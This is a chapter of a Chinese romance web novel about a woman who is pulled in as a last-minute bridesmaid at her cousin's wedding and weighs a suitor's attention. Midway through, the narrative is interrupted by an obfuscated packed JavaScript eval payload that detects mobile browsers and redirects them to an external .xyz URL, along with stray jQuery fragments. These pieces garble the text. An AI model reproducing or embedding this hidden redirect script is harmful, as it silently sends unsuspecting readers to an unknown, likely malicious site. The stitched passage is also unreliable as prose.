谷予回家拿了几样化妆品，也懒得换裙子，只脱了脚上的白色板鞋，换了双银灰色高跟鞋。


    以前在marin任职的时候，三天两头的出差，她早就练就了在车上化妆的技术。


    气垫两三下就上完了底妆，指腹沾点眼影，连同修容、腮红一道就解决了。


    等红绿灯的间隙，齐雨泽忍不住看向副驾。


    车内开着暖气，工装外套堆在腿上，她正轻仰着下巴，在涂睫毛膏。


    肩颈纤长流畅，仿佛白瓷瓶里一株正盛的紫罗兰。


    叫人舍不得移不开视线。


    昨晚浮起的放弃念头


    在今早见到她的第一眼，就烟消云散。


    这种程度的漂亮


    难追也很合理


    －


    谷予是提前了十分钟到的酒店。


    新人的婚纱合照显眼地立在入场处。


    她走上前，把请柬给了签到台的负责人。


    “您好，新娘亲人请签左边噢。”


    一支笔递了过来，对方松手松得快，谷予一时不察，没接住。


    签字笔沿着台面向前滚，“砰”一声，砸在地上。


    谷予弯下腰去捡，却有一只手快她一步，捡了起来。


    随后，捡起笔的男人惊讶道，“是你啊。”


    谷予抬起头，一时间没认出这人是谁。


    她向来忘性大。


    直到对方提醒了句，“1711是我朋友，上次搬家我还加了你微信呢。”


    1711


    她最近买彩票一定会避开的数字


    谷予微愣后，笑容突然有些挂不住了，僵硬地道了句，“好巧。”


    高阳回榕城休年假，除了想撬蒋时序这块臭石头回京外，另一件事就是来参加婚礼。


    新郎是他家的远亲，去年还是他爸的主治医生，高阳自然避不开这个婚礼。


    高阳还想和谷予叙旧几句。


    远远地突然冲来个阿姨。


    和谷玉梅对上眼的那秒，谷予还是礼貌地喊了声，“姑妈”。


    下一秒，她的手腕就被对方紧紧握住。


    “小予你在这，那太好了，快帮姑姑一个忙。”


    也不给谷予回答的时间，谷玉梅拽着她就跑。


    同样没反应过来的还有高阳。


    他站在原地，看着飞奔着离开的紫色背影，暗暗咂舌。


    --蒋时序那臭小子，以前也吃太好了吧....


    虽然和谷予打过几次照面，但还是免不了惊叹一句，“


    扎实的漂亮”


    难怪叫蒋时序这么多年都耿耿于怀。


    换成他，估计也难以忘却。


    －


    新娘化妆间


    谷予和一身婚纱的柳子悦面面相觑。


    两年没见的亲戚，连笑容里都露着尴尬和生疏。


    她姑妈的急事就是：婚礼主伴娘肠胃炎发作，临时缺席，需要有人顶上。


    而她，是被选中的冤大头替补。


    谷予听完，露出了礼貌但拒绝的笑容，“我不合适。”


    柳子悦仿佛没听见一样，继续问：“开场有伴娘团合唱环节，你会唱《因为爱情》吗？”


    谷予：不会。


    柳子悦：我记得你高中毕业典礼唱过，还是压轴。


    谷予：那是高中.....


    都过去多少个年头了！


    柳子悦：给我当主伴娘，就不用包礼金，还有伴手礼和红包收。


    谷予挑眉，被说动了。


    下一秒


    伴娘服和歌词卡片塞了过来。


    柳子悦：“你先换衣服，司仪等下回来找我们对流程，当时候你和另一个伴郎对唱，负责唱卡片上备注乔的那部分。”


    谷予应下那秒，还不知道这份活不好接。


    ---对唱的伴郎是张默。


    见到他那秒，谷予脸直接黑了。


    张默也意外，笑眯眯地打了个招呼。


    不给谷予反悔的机会，摄影师催着新娘补妆，拍进场照了。


    作为伴娘，谷予只能陪在一旁，四目相对实在尴尬，她只能主动提起话题，“听说新郎是医生，还蛮符合你以前设想的。”


    小学的暑假，她们基本都会被送到奶奶家托管。


    那时抱着冰淇淋泡在电视剧前，看韩剧男女主在失忆、车祸、癌症的狗血桥段中打转，历经万难才能步入婚礼殿堂。


    眼泪跟着不要钱地掉。


    那时的年纪，谁都认为自己一定是平时时空里的女主角。


    因此，小号柳子悦曾说过，“我以后肯定要嫁个医生，这样呢，我要是倒霉遇上车祸啊癌症啊，他就能救我了。”


    “就那样吧。”柳子悦耸肩，扭头看了眼周围，趁摄影师们都在忙，她小声说了句，“你等下找机会帮我看下新郎那边收了多少礼金。”


    谷予惊讶啊了声。


    她没接话。


    但露出了一个“这都要防备吗、你们不是新婚夫妻的关系吗？”的神色。


    柳子悦睨她一眼，“认识两个月就结的婚，你不会真以为我和他有什么亲密无间，患难真情吧？”


    “.......”


    两人都是直来直往的人，加上从小就认识的关系，谷予也直问了，“那你这么快结婚是？怀了？”


    几秒后


    柳子悦缓缓点头，“....是意外”


    意外一炮即中。


    “他有职称，爸妈都是文化人，家境中上。搭伙过日子的合适人员，抗风险能力中层。”


    这样的话，也有其他年长的已婚长辈对谷予说过。


    但在婚礼当天，从新娘口中，亲耳听见，又是另一种感觉。


    仿佛今天支撑着她步入殿堂、戴上婚戒的动力，不是爱。


    而是对方优秀的风险抵抗能力。


    “不要嫌我市侩。到了适婚年龄还只留恋虚无缥缈的爱情，不考虑经济基石和现实条件，那才是真幼稚。”


    其实柳子悦也觉得这个话题过于深入了，可话一开口就难再止住，“我听齐雨泽发小说，他在追你....今天也是他送你来的酒店吧，我看到那辆车了。”


    谷予顿了下说，“.....还在了解阶段”


    看出她的犹豫，柳子悦劝，“我真的觉得你可以考虑一下。虽然这么说越界了，但齐雨泽的条件，才是适合长久走下去、并结婚的稳定对象。”


    “大家都会有不婚的念头，可与其拖到花期结束，再想入局婚姻却找不到优质股，那还不如趁早打算。”


    “我是念着以前睡过同张床的交情，才好心提醒的。”


    说完，柳子悦拉起裙摆，直起身。


    门内，入场曲响起，她已准备好，要姿态昂扬地步入朝圣的殿堂。


    看着她一步步向前的婚裙背影，谷予也有些晃神。


    她想起齐雨泽。


    微信里，还有他的未读消息：


    【那条路晚点可能堵车，需要我去接你吗？】


    既不是假期，又不是下班点，怎么可能堵车。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16550207|186803||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    不过是见面的借口。


    她想起那盒牛奶里夹着的创可贴


    想起临时工位上的一次次早餐、咖啡


    想起他的关怀备至和处处体贴


    要试试吗？


    他也许是适合的人呢？


    ---齐雨泽收到消息的时候，三个组正要团建，组长邀他一同前去。


    看清谷予短信内容那秒，他笑容乍现。


    “我不去了，要去接人。你们吃吧，费用我报销。”


    －－


    第一组伴郎伴郎唱完《告白气球》后，很快就轮到谷予他们。


    上场前，张默为了缓解气氛，主动说起上次的毁单，“听说你们后面和华齐签了，算下时间，现在应该要出第一批货了吧？”


    谷予皮笑肉不笑道，“嗯，也是托你的福。”


    自从当上领导后，张默基本都是被捧着，脾气也就大了，没两句就炸，“当然是我的福，要真成了齐少奶奶可得请我一顿。”


    谷予瞪眼，“你什么意思！”


    上一组伴郎伴娘下场回来，“该你们俩了，快上去吧。”


    “.......”


    谷予像吞了苍蝇一样难受。


    迎上台下的一众宾客目光，她只能艰难地挤出一抹微笑。


    --听说白雪公主在逃跑--


    --小红帽在担心大灰狼--


    --听说疯帽喜欢爱丽丝--


    --丑小鸭会变成白天鹅--


    --听说彼得潘总长不大--


    --杰克他有竖琴和魔法--


    谷予以为张默和缺席的那位伴娘练习过，至少应该不会出现太大的失误。


    直到他从第二句就开始跑调，像牛一样，拉都拉不回来。


    前面几桌的小孩不懂什么弯弯绕绕，最先捂着耳朵笑出了声。


    “妈妈，那个叔叔为什么唱得那么难听啊？”


    “能不能让告白气球的叔叔回来唱？”


    “哎呦，祖宗你快闭嘴吧！”


    谷予也听到，她咬牙忍着笑，等着张默把接下来三句唱完后她续上。


    结果，已经过了鼓点他还没动静，拉着个脸，显然也听见孩子的话。


    快接啊！！！


    都已经漏了一句，他还没接上。


    台下笑声渐起。


    靠！


    丢脸也别拉着她一起丢啊！


    谷予使劲给他使眼色，张默却好像乱了阵，拿着歌词卡在找下一句。


    等他接上，秦始皇估计都得气得醒过来再次统一六国了。


    谷予直接把他的part接住唱了下去。


    --总有一条蜿蜒在童话镇里七彩的河--


    --沾染魔法的乖张气息--


    --却又在爱里曲折--


    --川流不息扬起水花--


    --又卷入一帘时光入水--


    .....


    至此，事态彻底往一个奇怪的方向发展


    双人合唱彻底变成了谷予的独唱，而跑调的张默悄悄退了场。


    此后，嘲笑的笑声渐退，取而代之的，汹涌的喝彩声。


    甚至有人趁掌声正大，趁机大喊


    “好听！”


    “伴娘单不单身！”


    高阳坐在靠门的尾桌，隔着七八米，看聚光灯下掌麦的那席粉裙。


    有些人，光站在那就光彩照人。


    咔嚓－


    相机按下一张照后，高阳点开微信，发给了某人。